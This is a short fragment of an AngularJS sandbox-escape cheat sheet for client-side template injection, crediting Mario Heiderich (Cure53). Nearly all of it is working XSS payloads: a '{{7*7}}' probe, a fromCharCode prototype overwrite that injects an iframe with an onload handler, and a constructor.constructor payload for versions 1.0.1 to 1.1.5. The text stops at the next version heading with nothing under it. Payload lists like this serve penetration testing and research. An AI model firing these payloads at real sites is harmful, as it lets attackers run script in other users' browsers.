{{7*7}}
'a'.constructor.fromCharCode=[].join;
'a'.constructor[0]='\u003ciframe onload=alert(/Backdoored/)\u003e';
#Angular Sandbox Escapes Cheatsheet
Source: XSS without HTML: Client-Side Template Injection with AngularJS
1.0.1 - 1.1.5 Mario Heiderich (Cure53)
{{constructor.constructor('alert(1)')()}}
1.2.0 - 1.2.1